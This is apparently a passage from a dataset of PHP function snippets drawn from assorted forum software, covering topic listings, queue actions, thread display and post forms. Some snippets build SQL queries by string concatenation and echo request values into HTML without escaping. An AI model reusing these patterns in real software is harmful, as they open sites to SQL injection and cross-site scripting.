$hash),\n\t\t\t\t\t!$row['queue_progress'],\n\t\t\t\t\t'queue_progress',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'CHANGE_STATUS',\n\t\t\t\t\t$queue->get_url('move'),\n\t\t\t\t\ttrue,\n\t\t\t\t\t'change_status',\n\t\t\t\t\t$tags,\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'REPACK',\n\t\t\t\t\t$contrib->get_url('revision', array('page' => 'repack', 'id' => $row['revision_id'])),\n\t\t\t\t\t$is_moderator,\n\t\t\t\t\t'repack',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'CAT_MISC',\n\t\t\t\t\t'',\n\t\t\t\t\ttrue,\n\t\t\t\t\t'misc',\n\t\t\t\t\t'',\n\t\t\t\t\t$misc_actions,\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'APPROVE',\n\t\t\t\t\t$queue->get_url('approve'),\n\t\t\t\t\t$is_validator,\n\t\t\t\t\t'approve',\n\t\t\t\t),\n\t\t\t\tarray(\n\t\t\t\t\t'DENY',\n\t\t\t\t\t$queue->get_url('deny'),\n\t\t\t\t\t$is_validator,\n\t\t\t\t\t'deny',\n\t\t\t\t),\n\t\t\t);\n\t\t}\n\n\t\tif (empty($quick_actions) && !empty($misc_actions))\n\t\t{\n\t\t\t$quick_actions = array(\n\t\t\t\tarray(\n\t\t\t\t\t'CAT_MISC',\n\t\t\t\t\t'',\n\t\t\t\t\ttrue,\n\t\t\t\t\t'misc',\n\t\t\t\t\t'',\n\t\t\t\t\t$misc_actions\n\t\t\t\t),\n\t\t\t);\n\t\t}\n\n\t\tforeach ($quick_actions as $data)\n\t\t{\n\t\t\t$properties = array('name', 'url', 'auth', 'class', 'tags', 'subactions');\n\t\t\t$data = array_pad($data, sizeof($properties), '');\n\t\t\t$data = array_combine($properties, $data);\n\n\t\t\tif (!$data['auth'])\n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tphpbb::$template->assign_block_vars('queue_actions', array(\n\t\t\t\t'NAME'\t\t=> phpbb::$user->lang($data['name']),\n\t\t\t\t'CLASS'\t\t=> $data['class'],\n\t\t\t\t'U_VIEW'\t=> $data['url'],\n\t\t\t));\n\n\t\t\tif ($data['tags'])\n\t\t\t{\n\t\t\t\tforeach ($data['tags'] as $tag_id => $tag_row)\n\t\t\t\t{\n\t\t\t\t\tphpbb::$template->assign_block_vars('queue_actions.subactions', array(\n\t\t\t\t\t\t'ID'\t\t=> $tag_id,\n\t\t\t\t\t\t'NAME'\t\t=> phpbb::$user->lang($tag_row['tag_field_name']),\n\n\t\t\t\t\t\t'U_ACTION'\t=> $path_helper->append_url_params($data['url'], array(\n\t\t\t\t\t\t\t'id'\t=> $tag_id,\n\t\t\t\t\t\t\t'hash'\t=> generate_link_hash('quick_actions'),\n\t\t\t\t\t\t)),\n\t\t\t\t\t));\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ($data['subactions'])\n\t\t\t{\n\t\t\t\tforeach ($data['subactions'] as $subdata)\n\t\t\t\t{\n\t\t\t\t\t$subdata = array_pad($subdata, sizeof($properties), '');\n\t\t\t\t\t$subdata = array_combine($properties, $subdata);\n\n\t\t\t\t\tif (!$subdata['auth'])\n\t\t\t\t\t{\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tphpbb::$template->assign_block_vars('queue_actions.subactions', array(\n\t\t\t\t\t\t'NAME'\t\t=> phpbb::$user->lang($subdata['name']),\n\t\t\t\t\t\t'U_ACTION'\t=> $subdata['url'],\n\t\t\t\t\t));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif ($row['queue_status'] == -3)\n\t\t{\n\t\t\t$current_status = phpbb::$user->lang('QUEUE_CLOSED');\n\t\t}\n\t\telse if ($row['queue_status'] == -2)\n\t\t{\n\t\t\t$current_status = phpbb::$user->lang['REVISION_DENIED'];\n\t\t}\n\t\telse if ($row['queue_status'] == -1)\n\t\t{\n\t\t\t$current_status = phpbb::$user->lang['REVISION_APPROVED'];\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$current_status = phpbb::$container->get('phpbb.titania.tags')->get_tag_name($row['queue_status']);\n\t\t}\n\t\tphpbb::$template->assign_vars(array(\n\t\t\t'CURRENT_STATUS'\t\t\t=> $current_status,\n\n\t\t\t'S_DISPLAY_CONTRIBUTION'\t=> true,\n\t\t\t'S_IN_QUEUE'\t\t\t\t=> true,\n\n\t\t\t'U_POST_REPLY'\t\t\t\t=> $queue->get_url('reply'),\n\t\t\t'U_NEW_REVISION'\t\t\t=> false, // Prevent nubs from trying to submit a new revision when they want to actually repack\n\t\t));\n\n\t\t// Subscriptions\n\t\tphpbb::$container->get('phpbb.titania.subscriptions')->handle_subscriptions(\n\t\t\text::TITANIA_TOPIC,\n\t\t\t$topic->topic_id,\n\t\t\t$controller_helper->get_current_url(),\n\t\t\t'SUBSCRIBE_TOPIC'\n\t\t);\n\n\t\treturn compact('row', 'contrib', 'topic');\n\t}", "function DisplayTopicForm()\n {\n global $DB, $userinfo;\n\n if(!$this->conf->forum_arr['forum_id'])\n {\n // user is trying to break the script\n $this->conf->RedirectPageDefault('<strong>'.$this->conf->plugin_phrases_arr['err_invalid_forum_id'] . '</strong>',true);\n return;\n }\n\n $content = GetVar('forum_post', '', 'string', true, false);\n $title = GetVar('forum_topic_title', '', 'string', true, false);\n $sticky = GetVar('stick_topic', 0, 'bool', true, false)?1:0;\n $closed = GetVar('closed', 0, 'bool', true, false)?1:0;\n $moderate = GetVar('moderate_topic', 0, 'bool', true, false)?1:0;\n $prefix_id = GetVar('prefix_id', 0, 'whole_number', true, false);\n $tags = GetVar('tags', '', 'string', true, false);\n\n //SD343: display prefixes available to user (based on sub-forum/usergroup)\n require_once(SD_INCLUDE_PATH.'class_sd_tags.php');\n $tconf = array(\n 'elem_name' => 'prefix_id',\n 'elem_size' => 1,\n 'elem_zero' => 1,\n 'chk_ugroups' => !$this->conf->IsSiteAdmin,\n 'pluginid' => $this->conf->plugin_id,\n 'objectid' => 0,\n 'tagtype' => 2,\n 'ref_id' => 0,\n 'allowed_id' => $this->conf->forum_id,\n 'selected_id' => $prefix_id,\n );\n\n echo '\n <h2>' . $this->conf->forum_arr['title'] . '</h2>\n <form '.($this->conf->IsSiteAdmin || $this->conf->IsAdmin || $this->conf->IsModerator ? 'id=\"forum-admin\" ':'').\n 'action=\"' . $this->conf->current_page . '\" enctype=\"multipart/form-data\" method=\"post\">\n '.PrintSecureToken(FORUM_TOKEN).'\n <input type=\"hidden\" name=\"forum_action\" value=\"insert_topic\" />\n <input type=\"hidden\" name=\"forum_id\" value=\"'.$this->conf->forum_arr['forum_id'].'\" />\n <div class=\"form-wrap\">\n <h2 style=\"margin:4px\">'.$this->conf->plugin_phrases_arr['new_topic'].'</h2>\n <p style=\"margin:8px 4px 0px 4px\">\n <label>'.$this->conf->plugin_phrases_arr['topic_title'].'</label>\n <input type=\"text\" name=\"forum_topic_title\" value=\"'.$title.'\" /></p>\n ';\n\n DisplayBBEditor(SDUserCache::$allow_bbcode, 'forum_post', $content, FORUM_REPLY_CLASS, 80, 10);\n\n $out = '\n <fieldset>';\n\n $prefix = SD_Tags::GetPluginTagsAsSelect($tconf);\n if(strlen($prefix))\n {\n $out .= '\n <p style=\"padding-top:10px\">\n <label for=\"prefix_id\">\n '.$this->conf->plugin_phrases_arr['topic_prefix'].'\n '.$prefix.'</label></p>';\n }\n\n if($this->conf->IsSiteAdmin || $this->conf->IsAdmin || $this->conf->IsModerator)\n {\n $out .= '\n <p style=\"padding-top:10px\">\n <label for=\"ft_sticky\"><img alt=\" \" src=\"'.SDUserCache::$img_path.'sticky.png\" width=\"16\" height=\"16\" />\n <input type=\"checkbox\" id=\"ft_sticky\" name=\"stick_topic\" value=\"1\"'.($sticky?' checked=\"checked\"':'').' /> '.\n ($this->conf->plugin_phrases_arr['topic_options_stick_topic']).'</label></p>\n <p style=\"padding-top:10px\">\n <label for=\"ft_closed\"><img alt=\" \" src=\"'.SDUserCache::$img_path.'lock.png\" width=\"16\" height=\"16\" />\n <input type=\"checkbox\" id=\"ft_closed\" name=\"closed\" value=\"1\"'.($closed?' checked=\"checked\"':'').' /> '.\n ($this->conf->plugin_phrases_arr['topic_options_lock_topic']).'</label></p>\n <p style=\"padding-top:10px\">\n <label for=\"ft_moderated\"><img alt=\" \" src=\"'.SDUserCache::$img_path.'attention.png\" width=\"16\" height=\"16\" />\n <input type=\"checkbox\" id=\"ft_moderated\" name=\"moderate_topic\" value=\"1\"'.($moderate?' checked=\"checked\"':'').' /> '.\n $this->conf->plugin_phrases_arr['topic_options_moderate_topic'].'</label></p>\n ';\n }\n\n $tag_ug = sd_ConvertStrToArray($this->conf->plugin_settings_arr['tag_submit_permissions'],'|');\n if($this->conf->IsSiteAdmin || $this->conf->IsAdmin || $this->conf->IsModerator ||\n (!empty($tag_ug) && @array_intersect($userinfo['usergroupids'], $tag_ug)))\n {\n $out .= '\n <p style=\"padding-top:10px\"><label for=\"ft_tags\">'.$this->conf->plugin_phrases_arr['topic_tags'].'\n <input type=\"text\" id=\"ft_tags\" name=\"tags\" maxlength=\"200\" size=\"35\" value=\"'.$tags.'\" />\n <br />'.$this->conf->plugin_phrases_arr['topic_tags_hint'].'</label></p>';\n }\n\n if(!empty($this->conf->plugin_settings_arr['attachments_upload_path']) &&\n ($this->conf->IsSiteAdmin || $this->conf->IsAdmin || $this->conf->IsModerator ||\n (!empty($this->conf->plugin_settings_arr['valid_attachment_types']) &&\n (!empty($userinfo['plugindownloadids']) && @in_array($this->conf->plugin_id, $userinfo['plugindownloadids'])))) )\n {\n $out .= '\n <p style=\"padding-top:10px\"><label for=\"post_attachment\">'.$this->conf->plugin_phrases_arr['upload_attachments'].'\n <input id=\"post_attachment\" name=\"attachment\" type=\"file\" size=\"35\" /> (' .\n $this->conf->plugin_settings_arr['valid_attachment_types'] . ')</label></p>';\n }\n\n $out .= '\n </fieldset>';\n\n if(strlen($out))\n {\n echo '\n <p>'.$out.'</p>';\n }\n\n if(!($this->conf->IsSiteAdmin || $this->conf->IsAdmin || $this->conf->IsModerator) ||\n !empty($userinfo['require_vvc'])) //SD340: require_vvc\n {\n DisplayCaptcha(true,'amihuman');\n }\n\n echo '<br />\n <input type=\"submit\" name=\"create_topic\" value=\"'.strip_alltags($this->conf->plugin_phrases_arr['create_topic']).'\" />\n </div>\n </form>\n<script type=\"text/javascript\">\njQuery(document).ready(function() {\n (function($){ $(\"textarea#forum_post\").focus(); })(jQuery);\n});\n</script>\n';\n\n }", "function warquest_lastest_forum_post() {\r\n\t\r\n\tglobal $mid;\r\n\tglobal $sid;\r\n\tglobal $player;\r\n\tglobal $config;\r\n\t\r\n\tglobal $page;\r\n\t\r\n\tif (warquest_db_query_pattern($player, PATTERN_FORUM_SORT)==0) {\r\n\t\treturn;\r\n\t}\r\n\t\r\n\t$query = 'select b.tid, b.fid, b.description, a.date, c.pid as pid1, c.name as name1, ';\r\n\t$query .= 'c.country as country1, d.pid as pid2, d.name as name2, d.country as country2 ';\r\n\t$query .= 'from comment as a left join topic as b on a.tid=b.tid ';\r\n\t$query .= 'left join player c on a.pid1=c.pid left join player d on b.pid=d.pid ';\r\n\t$query .= 'where a.deleted=0 and b.deleted=0 order by a.id desc limit 1';\n\t\t\t\r\n\t$result = warquest_db_query($query);\t\r\n\t$data = warquest_db_fetch_object($result);\r\n\t\r\n\tif (isset($data->tid)) {\r\n\t\t$page .= '<div class=\"subparagraph\">'.t('HOME_LASTEST_FORUM_ITEM').'</div>';\r\n\t\t$page .= '<div class=\"box\">';\r\n\t\r\n\t\t$page .= '<table>';\r\n\t\r\n\t\t$page .= '<tr>';\r\n\t\r\n\t\t$page .= '<td width=\"75\">';\r\n\t\t$page .= '<b></b>';\r\n\t\t$page .= '</td>';\r\n\t\t\r\n\t\t$page .= '<td width=\"215\">';\r\n\t\t$page .= '</td>';\r\n\r\n\t\t$page .= '<td width=\"210\">';\r\n\t\t$page .= '</td>';\r\n\t\t\r\n\t\t$page .= '</tr>';\r\n\t\t\t\t\t\t\r\n\t\t$query = 'select id from comment where deleted=0 and tid='.$data->tid;\t\r\n\t\t$result = warquest_db_query($query);\r\n\t\t$count = warquest_db_num_rows($result);\r\n\t\t\t\t\t\t\t\r\n\t\t$page .= '<tr>';\r\n\t\t\t\r\n\t\t$page .= '<td>';\r\n\t\t$page .= warquest_link('mid='.MENU_FORUMS.'&sid='.PAGE_COMMENT.'&fid='.$data->fid.'&tid='.$data->tid,\r\n\t\t\twarquest_image('other/forum.png','width=\"64\" height=\"64\"'), 'forum1');\r\n\t\t$page .= '</td>';\r\n\t\t\t\t\r\n\t\t$page .= '<td valign=\"top\">';\r\n\t\t$page .= '<span class=\"topic\">';\r\n\t\t$page .= warquest_link('mid='.MENU_FORUMS.'&sid='.PAGE_COMMENT.'&fid='.$data->fid.'&tid='.$data->tid, \r\n\t\t\twarquest_parse_smilies($data->description),'forum2');\r\n\t\t$page .= '</span>';\t\r\n\t\t$page .= '<br/>';\r\n\t\t$page .= '<i>';\t\r\n\t\t$page .= t('TOPIC_CREATED_BY', player_format($data->pid2, $data->name2, $data->country2));\r\n\t\t$page .= '</i>';\r\n\t\t\t\r\n\t\t$page .= '</td>';\r\n\t\t\t\t\r\n\t\t$page .= '<td valign=\"top\">';\r\n\t\t$page .= health_format($count).' '.t('GENERAL_MESSAGES').' ';\r\n\t\t\t\r\n\t\t$page .= '<br/>';\r\n\t\t\t\r\n\t\tif (isset($data->date)) {\r\n\t\t\t$page .= '<br/><b>'.t('GENERAL_LAST_MESSAGE').'</b><br/>';\r\n\t\r\n\t\t\t$page .= warquest_ui_ago($data->date).' '.t('GENERAL_BY').' ';\r\n\t\t\t$page .= player_format($data->pid1, $data->name1, $data->country1);\r\n\t\t}\r\n\t\t$page .= '</td>';\r\n\t\t$page .= '</tr>';\r\n\t\t\t\t\r\n\t\t$page .= '</table>';\r\n\t\t\t\r\n\t\t$page .= '</div>';\r\n\t}\r\n}", "function process_board($card)\r\r\n{\r\r\n if($card['var']['themecolor']){\r\r\n $color = 'style=\"color:'.$card['var']['themecolor'].'\"';\r\r\n $bordercolor = 'style=\"border-top-color:'.$card['var']['themecolor'].'\"';\r\r\n }\r\r\n\r\r\n $title_link = $card['var']['title_link'] ? $card['var']['title_link'] : 'javascript:void(0);';\r\r\n $header = '<div class=\"news-t\" '.$bordercolor.'><h3>'.\r\r\n '<a '.$color.' href=\"'.$title_link.'\">'.$card['var']['title'].'</a></h3>';\r\r\n if($card['var']['subtitle']){\r\r\n $header .= '<nav class=\"tmore\">';\r\r\n foreach ($card['var']['subtitle'] as $i => $subtitle) {\r\r\n $header .= '<a '.$color.' href=\"'.$card['var']['subtitle_link'][$i].'\">'.$subtitle.'</a>';\r\r\n }\r\r\n $header .= '</nav>';\r\r\n }\r\r\n $header .= '</div>';\r\r\n\r\r\n include_once libfile('function/forumlist');\r\r\n $fids = dintval($card['var']['fids'], TRUE);\r\r\n $forums = C::t('forum_forum')->fetch_all_by_fid($fids);\r\r\n $forum_fields = C::t('forum_forumfield')->fetch_all($fids);\r\r\n foreach($forums as $forum) {\r\r\n\r\r\n if($forum_fields[$forum['fid']]['fid']) {\r\r\n $forum = array_merge($forum, $forum_fields[$forum['fid']]);\r\r\n }\r\r\n $forum['extra'] = empty($forum['extra']) ? array() : dunserialize($forum['extra']);\r\r\n if(!is_array($forum['extra'])) {\r\r\n $forum['extra'] = array();\r\r\n }\r\r\n\r\r\n if($forum['icon']) {\r\r\n $forum['icon'] = get_forumimg($forum['icon']);\r\r\n }\r\r\n $forumlist[ $forum['fid'] ] = $forum;\r\r\n }\r\r\n\r\r\n $list = '<ul class=\"b-l cl\">';\r\r\n foreach ($forumlist as $f) {\r\r\n\r\r\n $link = forum_link($f['fid']);\r\r\n\r\r\n $list .= ' <li><a href=\"'.$link.'\"><img src=\"'.$f['icon'].'\" onerror=\"this.error=null;this.src=\\'source/plugin/xigua_portal/template/cards/board/images/bg.png\\'\"><span class=\"b-tit\">'.$f['name'].'</span></a></li>';\r\r\n }\r\r\n $list .= '</ul>';\r\r\n\r\r\n $card['var']['html'] = $header . $list;\r\r\n\r\r\n return $card;\r\r\n}", "public function Forum() {\n\t $this->sql .= \" UNION\t\n\t SELECT 3, forum_id, thread_id, post_id, post_subject, LEFT(post_message, \".$this->nahlad.\") as post_message, post_datestamp\tFROM `fusion_posts`\n\t\t WHERE '\".$this->a.\"' > post_datestamp AND post_datestamp > '\".$this->b.\"'\tAND post_author = '\".$this->id.\"'\n\t \";\n\t}", "public function getTopicsList()\n {\n\n $topics = $this->forumRepo->getTopicsList();\n\n return View::make('forum.list', ['topics'=>$topics]);\n }", "public function getForumTopicList($debug_to_pass = '') {\n\n $this->db->select('ft.topic_id,ft.topic_title,ft.category_id,ft.topic_short_description,ft.topic_content,ft.posted_by,ft.posted_on,ft.status as ft_status,fc.category_id,fc.category_name,fc.page_description,u.user_name,u.user_id');\n $this->db->from('mst_forum_topics as ft');\n $this->db->join('mst_forum_categories as fc', 'ft.category_id = fc.category_id', 'inner');\n $this->db->join('mst_users as u', 'ft.posted_by=u.user_id', 'inner');\n// $this->db->join('trans_forum_comments as tfc', 'tfc.topic_id=ft.topic_id', 'inner');\n $this->db->where('ft.status', '1');\n// $this->db->where('tfc.status','1');\n $this->db->order_by('ft.topic_id desc');\n $query = $this->db->get();\n if ($debug_to_pass)\n echo $this->db->last_query();\n return $query->result_array();\n }", "public function showAllForums()\n {\n $this->displayOnlyFavorites = false;\n }", "function listQueues() {\n\t\t$query = \"SELECT rs.`terminal` - 81, (rs.`terminal` - 80) AS que_no, rs.`title`, rs.`ter_type` AS dep_type\n\t\t\tFROM `\".BIT_DB_PREFIX.\"task_roomstat` rs\n\t\t\tWHERE rs.`ter_type` > 6 AND rs.`terminal` > 80\n\t\t\tORDER BY rs.`terminal`\";\n\t\t$result = array();\n\t\t$result['depts'] = $this->mDb->GetAssoc( $query );\n\t\tif ( isset($this->mInfo['department']) && $this->mInfo['department'] > 0 ) {\n\t\t\t$result['tags']\t= $this->mDb->GetAssoc(\"SELECT `reason`, `reason` AS tag_no, `title`, `tag` FROM `\".BIT_DB_PREFIX.\"task_reason` WHERE `reason_type` = \".$this->mInfo['department'].\" ORDER BY `reason`\");\n\t\t\tif ( $this->mInfo['subtag'] > 0 ) {\n\t\t\t\t$result['subtags'] = $this->mDb->GetAssoc(\"SELECT `reason`, `reason` AS tag_no, `title`, `tag` FROM `\".BIT_DB_PREFIX.\"task_reason` WHERE `reason_type` = \".$this->mInfo['subtag'].\" ORDER BY `reason`\");\n\t\t\t}\n\t\t}\n\t\treturn $result;\n\t}", "function showThreadsObject()\n\t{\n\t\t$this->tpl->setRightContent($this->getRightColumnHTML());\n\t\t$this->getCenterColumnHTML();\n\t}", "public function index()\n {\n $forums = Topics::where('forum_id', 1)->get();\n return view('forum.index', ['forums' => $forums]);\n }", "function Forum_showThread(&$PAGEDATA, &$id) {\n\trequire_once SCRIPTBASE.'ww.incs/bb2html.php';\n\tWW_addCSS('/ww.plugins/forum/frontend/forum.css');\n\t$script='$(function(){$(\".ratings\").ratings();});';\n\tWW_addScript('ratings/ratings.js');\n\tWW_addInlineScript($script);\n\t$thread=dbRow('select * from forums_threads where id='.$id);\n\t$forum_id=$thread['forum_id'];\n\tif (!$thread || !count($thread)) {\n\t\treturn '<em class=\"error\">Error: this thread does not exist!</em>';\n\t}\n\t$c=Forum_getForumBreadcrumbs($PAGEDATA, $thread['forum_id'])\n\t\t.' &raquo; <a href=\"'.$PAGEDATA->getRelativeUrl().'?forum-f='.$forum_id\n\t\t.'&forum-t='.$id.'\">'.htmlspecialchars($thread['name']).'</a>';\n\t$c.='<table id=\"forum-posts\"><tr><th>Author</th><th>Post</th></tr>';\n\t$posts=dbAll(\n\t\t'select * from forums_posts where thread_id='\n\t\t.$id.' and moderated = 1 order by created_date'\n\t);\n\tforeach ($posts as $post) {\n\t\t$user=User::getInstance($post['author_id']);\n\t\tif ($user) {\n\t\t\t$user_name=$user->get('name');\n\t\t\t$user_id=$post['author_id'];\n\t\t\t$user_email=$user->get('email');\n\t\t}\n\t\telse {\n\t\t\t$user_name='unknown';\n\t\t\t$user_id=0;\n\t\t\t$user_email='';\n\t\t}\n\t\t$c.='<tr p-data=\\'({\"id\":'.$post['id']\n\t\t\t.',\"cdate\":\"'.$post['created_date'].'\"'\n\t\t\t.',\"uid\":'.$post['author_id'].'})\\'>'\n\t\t\t.'<td class=\"user-details\"><a name=\"forum-c-'.$post['id']\n\t\t\t.'\"></a>'.htmlspecialchars($user_name).'</td>'\n\t\t\t.'<td><div class=\"post-header\">Posted: '\n\t\t\t.Core_dateM2H($post['created_date'], 'datetime')\n\t\t\t.'</div></td></tr>';\n\t\t$count_posts=$user_id\n\t\t\t?dbOne(\n\t\t\t\t'select count(id) from forums_posts where author_id='.$user->get('id'),\n\t\t\t\t'count(id)'\n\t\t\t)\n\t\t\t:0;\n\t\t$emailHash=md5(trim(strtolower($user_email)));\n\t\t\n\t\t$c.='<tr><td><img class=\"avatar\" data-uid=\"'.$user_id.'\" />'\n\t\t\t. '<span>Posts: '.$count_posts.'</span>'\n\t\t\t. '<p>Helpfulness:'\n\t\t\t. '<span class=\"ratings\" id=\"forum_user_'.$user_email.'\"'\n\t\t\t. ' type=\"forum_user\">rating</span></p>';\t\t\t\t\n\n\t\t$c.='</td><td class=\"post\">'.bb2html($post['body'])\n\t\t\t.'</td></tr>';\n\t}\n\t$c.='</table>';\n\t// { post form\n\tif (isset($_SESSION['userdata']) && $_SESSION['userdata']['id']) {\n\t\t$c.='<div id=\"forum-post-submission-form\"><script defer=\"defer\">var forum_id='\n\t\t\t.$forum_id.',forum_thread_id='.$id.';</script></div>';\n\t\tWW_addScript('//cdn.ckeditor.com/4.4.3/standard/ckeditor.js');\n\t\tWW_addScript('//cdn.ckeditor.com/4.4.3/standard/adapters/jquery.js');\n\t\tWW_addScript('forum/frontend/forum.js');\n\t}\n\telse {\n\t\t$c.='<div class=\"forum-not-logged-in\">In order to post to this thread,'\n\t\t\t.' you must <a href=\"/_r?type=loginpage\">login'\n\t\t\t.'</a> first.</div>';\n\t}\n\t// }\n\treturn $c;\n}", "public function action_messageindex()\n\t{\n\t\tglobal $txt, $board, $modSettings, $context, $options, $settings, $board_info;\n\n\t\t// Fairly often, we'll work with boards. Current board, sub-boards.\n\t\trequire_once(SUBSDIR . '/Boards.subs.php');\n\n\t\t// If this is a redirection board head off.\n\t\tif ($board_info['redirect'])\n\t\t{\n\t\t\tincrementBoard($board, 'num_posts');\n\t\t\tredirectexit($board_info['redirect']);\n\t\t}\n\n\t\ttheme()->getTemplates()->load('MessageIndex');\n\t\tloadJavascriptFile('topic.js');\n\n\t\t$bbc = ParserWrapper::instance();\n\n\t\t$context['name'] = $board_info['name'];\n\t\t$context['sub_template'] = 'topic_listing';\n\t\t$context['description'] = $bbc->parseBoard($board_info['description']);\n\t\t$template_layers = theme()->getLayers();\n\n\t\t// How many topics do we have in total?\n\t\t$board_info['total_topics'] = allowedTo('approve_posts') ? $board_info['num_topics'] + $board_info['unapproved_topics'] : $board_info['num_topics'] + $board_info['unapproved_user_topics'];\n\n\t\t// View all the topics, or just a few?\n\t\t$context['topics_per_page'] = empty($modSettings['disableCustomPerPage']) && !empty($options['topics_per_page']) ? $options['topics_per_page'] : $modSettings['defaultMaxTopics'];\n\t\t$context['messages_per_page'] = empty($modSettings['disableCustomPerPage']) && !empty($options['messages_per_page']) ? $options['messages_per_page'] : $modSettings['defaultMaxMessages'];\n\t\t$maxindex = isset($this->_req->query->all) && !empty($modSettings['enableAllMessages']) ? $board_info['total_topics'] : $context['topics_per_page'];\n\n\t\t// Right, let's only index normal stuff!\n\t\t$session_name = session_name();\n\t\tforeach ($this->_req->query as $k => $v)\n\t\t{\n\t\t\t// Don't index a sort result etc.\n\t\t\tif (!in_array($k, array('board', 'start', $session_name)))\n\t\t\t{\n\t\t\t\t$context['robot_no_index'] = true;\n\t\t\t}\n\t\t}\n\n\t\tif (!empty($this->_req->query->start) && (!is_numeric($this->_req->query->start) || $this->_req->query->start % $context['messages_per_page'] !== 0))\n\t\t{\n\t\t\t$context['robot_no_index'] = true;\n\t\t}\n\n\t\t// If we can view unapproved messages and there are some build up a list.\n\t\tif (allowedTo('approve_posts') && ($board_info['unapproved_topics'] || $board_info['unapproved_posts']))\n\t\t{\n\t\t\t$untopics = $board_info['unapproved_topics'] ? '<a href=\"' . getUrl('action', ['action' => 'moderate', 'area' => 'postmod', 'sa' => 'topics', 'brd' => $board]) . '\">' . $board_info['unapproved_topics'] . '</a>' : 0;\n\t\t\t$unposts = $board_info['unapproved_posts'] ? '<a href=\"' . getUrl('action', ['action' => 'moderate', 'area' => 'postmod', 'sa' => 'posts', 'brd' => $board]) . '\">' . ($board_info['unapproved_posts'] - $board_info['unapproved_topics']) . '</a>' : 0;\n\t\t\t$context['unapproved_posts_message'] = sprintf($txt['there_are_unapproved_topics'], $untopics, $unposts, getUrl('action', ['action' => 'moderate', 'area' => 'postmod', 'sa' => ($board_info['unapproved_topics'] ? 'topics' : 'posts'), 'brd' => $board]));\n\t\t}\n\n\t\t// And now, what we're here for: topics!\n\t\trequire_once(SUBSDIR . '/MessageIndex.subs.php');\n\n\t\t// Known sort methods.\n\t\t$sort_methods = messageIndexSort();\n\t\t$default_sort_method = 'last_post';\n\n\t\t// We only know these.\n\t\tif (isset($this->_req->query->sort) && !isset($sort_methods[$this->_req->query->sort]))\n\t\t{\n\t\t\t$this->_req->query->sort = $default_sort_method;\n\t\t}\n\n\t\t// Make sure the starting place makes sense and construct the page index.\n\t\t$sort_string = '';\n\t\tif (isset($this->_req->query->sort))\n\t\t{\n\t\t\t$sort_string = ';sort=' . $this->_req->query->sort . (isset($this->_req->query->desc) ? ';desc' : '');\n\t\t}\n\n\t\t$context['page_index'] = constructPageIndex('{scripturl}?board=' . $board . '.%1$d' . $sort_string, $this->_req->query->start, $board_info['total_topics'], $maxindex, true);\n\t\t$context['start'] = &$this->_req->query->start;\n\n\t\t// Set a canonical URL for this page.\n\t\t$context['canonical_url'] = getUrl('board', ['board' => $board, 'start' => $context['start'], 'name' => $board_info['name']]);\n\n\t\t$context['links'] += array(\n\t\t\t'prev' => $this->_req->query->start >= $context['topics_per_page'] ? getUrl('board', ['board' => $board, 'start' => $this->_req->query->start - $context['topics_per_page'], 'name' => $board_info['name']]) : '',\n\t\t\t'next' => $this->_req->query->start + $context['topics_per_page'] < $board_info['total_topics'] ? getUrl('board', ['board' => $board, 'start' => $this->_req->query->start + $context['topics_per_page'], 'name' => $board_info['name']]) : '',\n\t\t);\n\n\t\tif (isset($this->_req->query->all) && !empty($modSettings['enableAllMessages']) && $maxindex > $modSettings['enableAllMessages'])\n\t\t{\n\t\t\t$maxindex = $modSettings['enableAllMessages'];\n\t\t\t$this->_req->query->start = 0;\n\t\t}\n\n\t\t// Build a list of the board's moderators.\n\t\t$context['moderators'] = &$board_info['moderators'];\n\t\t$context['link_moderators'] = array();\n\t\tif (!empty($board_info['moderators']))\n\t\t{\n\t\t\tforeach ($board_info['moderators'] as $mod)\n\t\t\t{\n\t\t\t\t$context['link_moderators'][] = '<a href=\"' . getUrl('profile', ['action' => 'profile', 'u' => $mod['id'], 'name' => $mod['name']]) . '\" title=\"' . $txt['board_moderator'] . '\">' . $mod['name'] . '</a>';\n\t\t\t}\n\t\t}\n\n\t\t// Mark current and parent boards as seen.\n\t\tif ($this->user->is_guest === false)\n\t\t{\n\t\t\t// We can't know they read it if we allow prefetches.\n\t\t\tstop_prefetching();\n\n\t\t\t// Mark the board as read, and its parents.\n\t\t\tif (!empty($board_info['parent_boards']))\n\t\t\t{\n\t\t\t\t$board_list = array_keys($board_info['parent_boards']);\n\t\t\t\t$board_list[] = $board;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$board_list = array($board);\n\t\t\t}\n\n\t\t\t// Mark boards as read. Boards alone, no need for topics.\n\t\t\tmarkBoardsRead($board_list, false, false);\n\n\t\t\t// Clear topicseen cache\n\t\t\tif (!empty($board_info['parent_boards']))\n\t\t\t{\n\t\t\t\t// We've seen all these boards now!\n\t\t\t\tforeach ($board_info['parent_boards'] as $k => $dummy)\n\t\t\t\t{\n\t\t\t\t\tif (isset($_SESSION['topicseen_cache'][$k]))\n\t\t\t\t\t{\n\t\t\t\t\t\tunset($_SESSION['topicseen_cache'][$k]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (isset($_SESSION['topicseen_cache'][$board]))\n\t\t\t{\n\t\t\t\tunset($_SESSION['topicseen_cache'][$board]);\n\t\t\t}\n\n\t\t\t// From now on, they've seen it. So we reset notifications.\n\t\t\t$context['is_marked_notify'] = resetSentBoardNotification($this->user->id, $board);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$context['is_marked_notify'] = false;\n\t\t}\n\n\t\t// 'Print' the header and board info.\n\t\t$context['page_title'] = strip_tags($board_info['name']);\n\n\t\t// Set the variables up for the template.\n\t\t$context['can_mark_notify'] = allowedTo('mark_notify') && $this->user->is_guest === false;\n\t\t$context['can_post_new'] = allowedTo('post_new') || ($modSettings['postmod_active'] && allowedTo('post_unapproved_topics'));\n\t\t$context['can_post_poll'] = !empty($modSettings['pollMode']) && allowedTo('poll_post') && $context['can_post_new'];\n\t\t$context['can_moderate_forum'] = allowedTo('moderate_forum');\n\t\t$context['can_approve_posts'] = allowedTo('approve_posts');\n\n\t\t// Prepare sub-boards for display.\n\t\t$boardIndexOptions = 